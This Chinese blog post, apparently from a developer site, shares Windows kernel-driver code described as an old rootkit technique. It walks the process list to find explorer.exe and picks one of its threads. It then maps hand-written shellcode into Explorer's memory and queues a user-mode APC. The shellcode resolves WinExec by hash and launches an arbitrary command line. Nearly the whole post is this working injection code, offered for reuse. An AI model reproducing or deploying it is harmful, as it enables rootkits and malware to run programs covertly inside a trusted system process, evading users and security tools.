//用APC实现在内核模式运行用户程序
//昨天晚上弄到1点,总算把这个东西调通了,这个是老技术了,在rootkit上又篇文章讨论过,参考那篇文章我把这个东西弄出来了.代码贴在下面灌水,高手就不用看了......
//=====================================================================================//
//Name: void RunUserModeProcess() //
// //
//Descripion: This routine retrieves the list of all processes running on the machine, //
// searches for 'explorer.exe', gets one thread from it's PEPROCESS struct, //
// then it queues an APC to that thread //
//=====================================================================================//
NTSTATUS
InstallUserModeApc(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess);
void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2);
void ApcCreateProcessEnd();
#define PS_IS_THREAD_IMPERSONATING(Thread) (((Thread)->CrossThreadFlags&PS_CROSS_THREAD_FLAGS_IMPERSONATING) != 0)
typedef enum _KAPC_ENVIRONMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
} KAPC_ENVIRONMENT;
//===========================================================================================//
extern "C"
NTKERNELAPI
BOOLEAN
KeInsertQueueApc (
__inout PRKAPC Apc,
__in_opt PVOID SystemArgument1,
__in_opt PVOID SystemArgument2,
__in KPRIORITY Increment
);
extern "C"
NTKERNELAPI
VOID
KeInitializeApc (
__out PRKAPC Apc,
__in PRKTHREAD Thread,
__in KAPC_ENVIRONMENT Environment,
__in PKKERNEL_ROUTINE KernelRoutine,
__in_opt PKRUNDOWN_ROUTINE RundownRoutine,
__in_opt PKNORMAL_ROUTINE NormalRoutine,
__in_opt KPROCESSOR_MODE ProcessorMode,
__in_opt PVOID NormalContext
);
/============================================
//=============================================
typedef struct _ETHREAD {
KTHREAD Tcb;
LARGE_INTEGER CreateTime;
union {
LARGE_INTEGER ExitTime;
LIST_ENTRY LpcReplyChain;
LIST_ENTRY KeyedWaitChain;
};
union {
NTSTATUS ExitStatus;
PVOID OfsChain;
};
//
// Registry
//
LIST_ENTRY PostBlockList;
//
// Single linked list of termination blocks
//
union {
//
// List of termination ports
//
PTERMINATION_PORT TerminationPort;
//
// List of threads to be reaped. Only used at thread exit
//
struct _ETHREAD *ReaperLink;
//
// Keyvalue being waited for
//
PVOID KeyedWaitValue;
};
KSPIN_LOCK ActiveTimerListLock;
LIST_ENTRY ActiveTimerListHead;
CLIENT_ID Cid;
//
// Lpc
//
union {
KSEMAPHORE LpcReplySemaphore;
KSEMAPHORE KeyedWaitSemaphore;
};
union {
PVOID LpcReplyMessage; // -> Message that contains the reply
PVOID LpcWaitingOnPort;
};
//
// Security
//
//
// Client - If non null, indicates the thread is impersonating
// a client.
//
PPS_IMPERSONATION_INFORMATION ImpersonationInfo;
//
// Io
//
LIST_ENTRY IrpList;
//
// File Systems
//
ULONG_PTR TopLevelIrp; // either NULL, an Irp or a flag defined in FsRtl.h
struct _DEVICE_OBJECT *DeviceToVerify;
PEPROCESS ThreadsProcess;
PVOID StartAddress;
union {
PVOID Win32StartAddress;
ULONG LpcReceivedMessageId;
};
//
// Ps
//
LIST_ENTRY ThreadListEntry;
//
// Rundown protection structure. Acquire this to do cross thread
// TEB, TEB32 or stack references.
//
EX_RUNDOWN_REF RundownProtect;
//
// Lock to protect thread impersonation information
//
EX_PUSH_LOCK ThreadLock;
ULONG LpcReplyMessageId; // MessageId this thread is waiting for reply to
ULONG ReadClusterSize;
//
// Client/server
//
ACCESS_MASK GrantedAccess;
//
// Flags for cross thread access. Use interlocked operations
// via PS_SET_BITS etc.
//
//
// Used to signify that the delete APC has been queued or the
// thread has called PspExitThread itself.
//
#define PS_CROSS_THREAD_FLAGS_TERMINATED 0x00000001UL
//
// Thread create failed
//
#define PS_CROSS_THREAD_FLAGS_DEADTHREAD 0x00000002UL
//
// Debugger isn't shown this thread
//
#define PS_CROSS_THREAD_FLAGS_HIDEFROMDBG 0x00000004UL
//
// Thread is impersonating
//
#define PS_CROSS_THREAD_FLAGS_IMPERSONATING 0x00000008UL
//
// This is a system thread
//
#define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL
//
// Hard errors are disabled for this thread
//
#define PS_CROSS_THREAD_FLAGS_HARD_ERRORS_DISABLED 0x00000020UL
//
// We should break in when this thread is terminated
//
#define PS_CROSS_THREAD_FLAGS_BREAK_ON_TERMINATION 0x00000040UL
//
// This thread should skip sending its create thread message
//
#define PS_CROSS_THREAD_FLAGS_SKIP_CREATION_MSG 0x00000080UL
//
// This thread should skip sending its final thread termination message
//
#define PS_CROSS_THREAD_FLAGS_SKIP_TERMINATION_MSG 0x00000100UL
union {
ULONG CrossThreadFlags;
//
// The following fields are for the debugger only. Do not use.
// Use the bit definitions instead.
//
struct {
ULONG Terminated : 1;
ULONG DeadThread : 1;
ULONG HideFromDebugger : 1;
ULONG ActiveImpersonationInfo : 1;
ULONG SystemThread : 1;
ULONG HardErrorsAreDisabled : 1;
ULONG BreakOnTermination : 1;
ULONG SkipCreationMsg : 1;
ULONG SkipTerminationMsg : 1;
};
};
//
// Flags to be accessed in this thread's context only at PASSIVE
// level -- no need to use interlocked operations.
//
union {
ULONG SameThreadPassiveFlags;
struct {
//
// This thread is an active Ex worker thread; it should
// not terminate.
//
ULONG ActiveExWorker : 1;
ULONG ExWorkerCanWaitUser : 1;
ULONG MemoryMaker : 1;
//
// Thread is active in the keyed event code. LPC should not run above this in an APC.
//
ULONG KeyedEventInUse : 1;
};
};
//
// Flags to be accessed in this thread's context only at APC_LEVEL.
// No need to use interlocked operations.
//
union {
ULONG SameThreadApcFlags;
struct {
//
// The stored thread's MSGID is valid. This is only accessed
// while the LPC mutex is held so it's an APC_LEVEL flag.
//
BOOLEAN LpcReceivedMsgIdValid : 1;
BOOLEAN LpcExitThreadCalled : 1;
BOOLEAN AddressSpaceOwner : 1;
BOOLEAN OwnsProcessWorkingSetExclusive : 1;
BOOLEAN OwnsProcessWorkingSetShared : 1;
BOOLEAN OwnsSystemWorkingSetExclusive : 1;
BOOLEAN OwnsSystemWorkingSetShared : 1;
BOOLEAN OwnsSessionWorkingSetExclusive : 1;
BOOLEAN OwnsSessionWorkingSetShared : 1;
#define PS_SAME_THREAD_FLAGS_OWNS_A_WORKING_SET 0x000001F8UL
BOOLEAN ApcNeeded : 1;
};
};
BOOLEAN ForwardClusterOnly;
BOOLEAN DisablePageFaultClustering;
UCHAR ActiveFaultCount;
#if defined (PERF_DATA)
ULONG PerformanceCountLow;
LONG PerformanceCountHigh;
#endif
} ETHREAD, *PETHREAD;
//=====================================================================================//
typedef struct _EPROCESS {
KPROCESS Pcb; // +0x000
EX_PUSH_LOCK ProcessLock; // +0x06c
LARGE_INTEGER CreateTime; // +0x070
LARGE_INTEGER ExitTime; // +0x078
EX_RUNDOWN_REF RundownProtect; // +0x080
ULONG UniqueProcessId; // +0x084
LIST_ENTRY ActiveProcessLinks; // +0x088
ULONG QuotaUsage[3]; // +0x090
ULONG QuotaPeak[3]; // +0x09c
ULONG CommitCharge; // +0x0a8
ULONG PeakVirtualSize; // +0x0ac
ULONG VirtualSize; // +0x0b0
LIST_ENTRY SessionProcessLinks; // +0x0b4
PVOID DebugPort; // +0x0bc
PVOID ExceptionPort; // +0x0c0
PHANDLE_TABLE ObjectTable; // +0x0c4
EX_FAST_REF Token; // +0x0c8
FAST_MUTEX WorkingSetLock; // +0x0cc
ULONG WorkingSetPage; // +0x0ec
KGUARDED_MUTEX AddressCreationLock; // +0x0f0
ULONG HyperSpaceLock; // +0x110
PETHREAD ForkInProgress; // +0x114
ULONG HardwareTrigger; // +0x118
PVOID VadRoot;// +0x11c
PVOID VadHint;// +0x120
PVOID CloneRoot; // +0x124
ULONG NumberOfPrivatePages; // +0x128
ULONG NumberOfLockedPages; // +0x12c
PVOID Win32Process; // +0x130
PEJOB Job; // +0x134
PVOID SectionObject; // +0x138
PVOID SectionBaseAddress; // +0x13c
PEPROCESS_QUOTA_BLOCK QuotaBlock; // +0x140
PPAGEFAULT_HISTORY WorkingSetWatch; // +0x144
PVOID Win32WindowStation; // +0x148
ULONG InheritedFromUniqueProcessId; // +0x14c
PVOID LdtInformation; // +0x150
PVOID VadFreeHint; // +0x154
PVOID VdmObjects; // +0x158
PVOID DeviceMap; // +0x15c
LIST_ENTRY PhysicalVadList; //+0x160
union {
HARDWARE_PTE PageDirectoryPte; // +0x168
UINT64 Filler; // +0x168
};
PVOID Session; // +0x170
UCHAR ImageFileName[16]; // +0x174
LIST_ENTRY JobLinks; // +0x184
PVOID LockedPagesList; // +0x18c
LIST_ENTRY ThreadListHead; // +0x190
PVOID SecurityPort; // +0x198
PVOID PaeTop; // +0x19c
ULONG ActiveThreads; // +0x1a0
ULONG GrantedAccess; // +0x1a4
ULONG DefaultHardErrorProcessing; // +0x1a8
SHORT LastThreadExitStatus; // +0x1ac
PPEB Peb; // +0x1b0
EX_FAST_REF PrefetchTrace; // +0x1b4
LARGE_INTEGER ReadOperationCount; // +0x1b8
LARGE_INTEGER WriteOperationCount; // +0x1c0
LARGE_INTEGER OtherOperationCount; // +0x1c8
LARGE_INTEGER ReadTransferCount; // +0x1d0
LARGE_INTEGER WriteTransferCount; // +0x1d8
LARGE_INTEGER OtherTransferCount; // +0x1e0
ULONG CommitChargeLimit; // +0x1e8
ULONG CommitChargePeak; // +0x1ec
PVOID AweInfo; // +0x1f0
SE_AUDIT_PROCESS_CREATION_INFO SeAuditProcessCreationInfo; // +0x1f4
ULONG /*MMSUPPORT*/ Vm; // +0x1f8
ULONG LastFaultCount; // 0x238
ULONG ModifiedPageCount; // +0x23c
ULONG NumberOfVads; // 0x240
ULONG JobStatus; // +0x244
union {
ULONG Flags; // 0x248
struct {
ULONG CreateReported : 1;
ULONG NoDebugInherit : 1;
ULONG ProcessExiting : 1;
ULONG ProcessDelete : 1;
ULONG Wow64SplitPages : 1;
ULONG VmDeleted : 1;
ULONG OutswapEnabled : 1;
ULONG Outswapped : 1;
ULONG ForkFailed : 1;
ULONG Wow64VaSpace4Gb : 1;
ULONG AddressSpaceInitialized : 2;
ULONG SetTimerResolution : 1;
ULONG BreakOnTermination : 1;
ULONG SessionCreationUnderway : 1;
ULONG WriteWatch : 1;
ULONG ProcessInSession : 1;
ULONG OverrideAddressSpace : 1;
ULONG HasAddressSpace : 1;
ULONG LaunchPrefetched : 1;
ULONG InjectInpageErrors : 1;
ULONG VmTopDown : 1;
ULONG ImageNotifyDone : 1;
ULONG PdeUpdateNeeded : 1;
ULONG VdmAllowed : 1;
ULONG Unused : 7;
};
};
NTSTATUS ExitStatus; // +0x24c
USHORT NextPageColor; // +0x250
union {
struct {
UCHAR SubSystemMinorVersion; // +0x252
UCHAR SubSystemMajorVersion; // +0x253
};
USHORT SubSystemVersion; // +0x252
};
UCHAR PriorityClass; // +0x254
UCHAR WorkingSetAcquiredUnsafe; // 0x255
ULONG Cookie; // +0x258
} EPROCESS, *PEPROCESS;
typedef struct _EPROCESS *PEPROCESS;
extern "C" void RunUserModeProcess(char* command_line)
{
PEPROCESS pTargetProcess = NULL; //self explanatory
PKTHREAD pTargetThread = NULL; //thread that can be either alerable or non-alertable
PKTHREAD pNotAlertableThread = NULL; //non-alertable thread
PEPROCESS pSystemProcess = NULL; //May not necessarily be the 'System' process
PETHREAD pTempThread = NULL;
PLIST_ENTRY pNextEntry, pListHead, pThNextEntry;
if(strlen(command_line)>300) return; //name not longer than 300 characters
pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
if(!pSystemProcess)
{
DbgPrint("lzplhq -> Cannot find 'System' process!");
return;
}
if(IsListEmpty(&pSystemProcess->ActiveProcessLinks))
DbgPrint("lzplhq -> No processes found!");
else
{
pListHead = &pSystemProcess->ActiveProcessLinks;
pNextEntry = pListHead->Flink;
while(pNextEntry != pListHead) //start looping through the available processes
{
pSystemProcess = CONTAINING_RECORD(pNextEntry,EPROCESS,ActiveProcessLinks);
if(pSystemProcess->ActiveThreads)
{
if(!IsListEmpty(&pSystemProcess->ThreadListHead))
{
//Is this explorer.exe?
if(_strnicmp((char*)pSystemProcess->ImageFileName,"explorer.exe",12)==0)
{
pTargetProcess = pSystemProcess; //Yes,we have found it!
pTargetThread = pNotAlertableThread = NULL;
pThNextEntry = pSystemProcess->ThreadListHead.Flink;
//Now we loop through it's threads, seeking an alertable thread
while(pThNextEntry != &pSystemProcess->ThreadListHead)
{
pTempThread = CONTAINING_RECORD(pThNextEntry,_ETHREAD,ThreadListEntry);
if(pTempThread->Tcb.Alertable) //Tcb is the KTHREAD of this ETHREAD and stands for 'Thread Control Block'
{
//Good, an alertable thread was found.
pTargetThread = &pTempThread->Tcb;
DbgPrint("lzplhq -> Found alertable thread");
//We will be using this one, so break now
break;
}
else
{
//Didn't find an alertable thread yet, so we'll keep this one
//just in case we won't find ANY alertable threads
pNotAlertableThread = &pTempThread->Tcb;
}
pThNextEntry = pThNextEntry->Flink; //check next thread
}
break;
}
}
}
pSystemProcess = NULL;
pNextEntry = pNextEntry->Flink; //get next process
}
}
if(!pTargetProcess)
{
DbgPrint("lzplhq -> Couldn't find Explorer.exe!");
return;
}
if(!pTargetThread)
{
//No alertable thread was found, so let's hope we've at least got a non-alertable one (we'll set its alertable flag ON)
//There's no problem with non-alertable threads, except for the fact that it takes
//a little longer for them to return from KernelMode. (that means our process execution will be delayed)
pTargetThread = pNotAlertableThread;
}
if(pTargetThread)
{
DbgPrint("lzplhq -> Targeted thread: 0x%p",pTargetThread);
//We have one thread (alertable or n/a), now install the APC
InstallUserModeApc(command_line, pTargetThread,pTargetProcess);
}
else
DbgPrint("lzplhq -> No thread found!"); //Explorer exe with NO threads (???)
}
PMDL pMdl = NULL;
//===================================================================//
//Name: VOID ApcKernelRoutine() //
// //
//Descripion: This routine gets called after the APC routine returns //
// (our process should have been executed by then) //
// It frees all the memory allocated by InstallUserModeApc//
// (APC and MDL) //
//===================================================================//
void ApcKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine,
IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )
{
PKEVENT pEvent;
if (Apc)
ExFreePool(Apc);
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE);
}
//===================================================================//
//Name: //
// NTSTATUS InstallUserModeApc() //
// //
//Paramters: //
// CommandLine - Full path of the process to be executes //
// pTargetThread - This is where we queue our APC //
// pTargetProcess - Should point to Explorer's EPROCESS //
// //
//Descripion: This routine attaches to 'pTargetThread' and it queues //
// a UserMode APC that will be excuted next time the //
// thread returns from KernelMode //
//===================================================================//
NTSTATUS
InstallUserModeApc(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess)
{
PRKAPC pApc = NULL; //Our APC
PKEVENT pEvent = NULL;
PVOID pMappedAddress = NULL; //This is where the UserMode routine's code will be placed at
ULONG dwSize = 0; //Size of code to be executed in Explorer's address space
KAPC_STATE ApcState; // Needed for KeStackAttachProcess
ULONG *data_addr=0; //just a helper to change the address of the 'push' instruction
//in the ApcCreateProcess routine
ULONG dwMappedAddress = 0; //same as above
NTSTATUS Status = STATUS_UNSUCCESSFUL;
if (!pTargetThread || !pTargetProcess)
return STATUS_UNSUCCESSFUL;
DbgPrint("command_line:%s\n",CommandLine);
//Allocate memory for our APC
pApc =(PRKAPC) ExAllocatePool (NonPagedPool,sizeof (KAPC));
if (!pApc)
{
DbgPrint("lzplhq -> Failed to allocate memory for the APC structure");
return STATUS_INSUFFICIENT_RESOURCES;
}
pEvent =(PKEVENT) ExAllocatePool (NonPagedPool,sizeof (KEVENT));
if (!pEvent)
{
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
//Get the size of our UserMode code
dwSize = (unsigned char*)ApcCreateProcessEnd-(unsigned char*)ApcCreateProcess;
//Allocate an MDL describing our ApcCreateProcess' memory
pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
if (!pMdl)
{
DbgPrint("lzplhq -> Failed to allocate MDL");
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
__try
{
//Probe the pages for Write access and make them memory resident
MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("lzplhq -> Exception during MmProbeAndLockPages");
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool (pEvent);
return STATUS_UNSUCCESSFUL;
}
//Attach to the Explorer's address space
KeStackAttachProcess((PEPROCESS)&(pTargetProcess->Pcb),&ApcState);
//Now map the physical pages (our code) described by 'pMdl'
pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);
if (!pMappedAddress)
{
DbgPrint("lzplhq -> Cannot map address");
KeUnstackDetachProcess (&ApcState);
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool (pEvent);
return STATUS_UNSUCCESSFUL;
}
else
DbgPrint("lzplhq -> UserMode memory at address: 0x%p",pMappedAddress);
dwMappedAddress = (ULONG)pMappedAddress;
// copy commandline
memset ((unsigned char*)pMappedAddress + 163, 0, 260);
memcpy ((unsigned char*)pMappedAddress + 163, CommandLine,strlen (CommandLine));
//all done, detach now
KeUnstackDetachProcess (&ApcState);
//初始化 APC 对象...
KeInitializeEvent(pEvent,NotificationEvent,FALSE);
KeInitializeApc(pApc,pTargetThread,
OriginalApcEnvironment,
&ApcKernelRoutine,NULL,
(PKNORMAL_ROUTINE)pMappedAddress, UserMode, NULL);
//...插入APC队列
if (!KeInsertQueueApc(pApc,pEvent,NULL,0))
{
DbgPrint("lzplhq -> Failed to insert APC");
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool(pEvent);
return STATUS_UNSUCCESSFUL;
}
else
{
DbgPrint("lzplhq -> APC delivered");
}
//is this a non-alertable thread?
if(!pTargetThread->ApcState.UserApcPending)
{
//if yes then alert it
pTargetThread->ApcState.UserApcPending = TRUE;
}
// apc is fired, wait event to signal completion
KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);
DbgPrint("Get the Event\n");
// free event
ExFreePool (pEvent);
if(pMdl)
{
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
pMdl = NULL;
}
DbgPrint("lzplhq -> ApcKernelRoutine called. Memory freed.");
return 0;
}
//=====================================================================================//
//Name: void ApcCreateProcess() //
//=====================================================================================//
__declspec(naked) void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
__asm
{
push ebp
mov ebp,esp
push ebx
push esi
push edi
jmp __startup; ; these are just functions.... skip
__find_kernel32:
push esi ; Save esi
push 0x30
pop ecx
mov eax, fs:[ecx] ; Extract the PEB
mov eax, [eax + 0x0c] ; Extract the PROCESS_MODULE_INFO pointer from the PEB
mov esi, [eax + 0x1c] ; Get the address of flink in the init module list
lodsd ; Load the address of blink into eax
mov eax, [eax + 0x8] ; Grab the module base address from the list entry
pop esi ; Restore esi
ret ; Return
__find_function:
pushad ; Save all registers
mov ebp, [esp + 0x24] ; Store the base address in eax
mov eax, [ebp + 0x3c] ; PE header VMA
mov edx, [ebp + eax + 0x78] ; Export table relative offset
add edx, ebp ; Export table VMA
mov ecx, [edx + 0x18] ; Number of names
mov ebx, [edx + 0x20] ; Names table relative offset
add ebx, ebp ; Names table VMA
__find_function_loop:
jecxz __find_function_finished ; Jump to the end if ecx is 0
dec ecx ; Decrement our names counter
mov esi, [ebx + ecx * 4] ; Store the relative offset of the name
add esi, ebp ; Set esi to the VMA of the current name
xor edi, edi ; Zero edi
xor eax, eax ; Zero eax
cld ; Clear direction
__compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Test ourselves.
jz __compute_hash_finished ; If the ZF is set, we've hit the null term.
ror edi, 0xd ; Rotate edi 13 bits to the right
add edi, eax ; Add the new byte to the accumulator
jmp __compute_hash_again ; Next iteration
__compute_hash_finished:
cmp edi, [esp + 0x28] ; Compare the computed hash with the requested hash
jnz __find_function_loop ; No match, try the next one.
mov ebx, [edx + 0x24] ; Ordinals table relative offset
add ebx, ebp ; Ordinals table VMA
mov cx, [ebx + 2 * ecx] ; Extrapolate the function's ordinal
mov ebx, [edx + 0x1c] ; Address table relative offset
add ebx, ebp ; Address table VMA
mov eax, [ebx + 4 * ecx] ; Extract the relative function offset from its ordinal
add eax, ebp ; Function VMA
mov [esp + 0x1c], eax ; Overwrite stack version of eax from pushad
__find_function_finished:
popad ; Restore all registers
ret 8
__begin:
nop
pop edi ; Pop address
mov ebx, __execute
sub ebx, __command_line
sub edi, ebx ; filename offset
mov esi,edi ; filename to edi
call __find_kernel32 ; Find kernel32 address
mov ebx, eax ; Save address in ebx
jmp short __execute ; Skip data
__startup:
call __begin ; Fetch our data address
__execute:
push 0x0e8afe98 ; WinExec hash
push ebx ; kernel32 base address
call __find_function ; find address
xor ecx,ecx
inc ecx ; ecx = 1
push ecx ; uCmdShow
push esi ; lpCmdLine. We already have the exe path in esi
call eax ; call WinExec
jmp __end
__command_line: ; Space (~300 bytes) for commandline
nop
// ............ ;omit here, total 300 nop instruction
nop
__end:
pop edi ; restore registers
pop esi
pop ebx
pop ebp
ret 0x0c
}
}
void ApcCreateProcessEnd(){}
内核模式 注入DLL
最新推荐文章于 2024-05-31 19:34:41 发布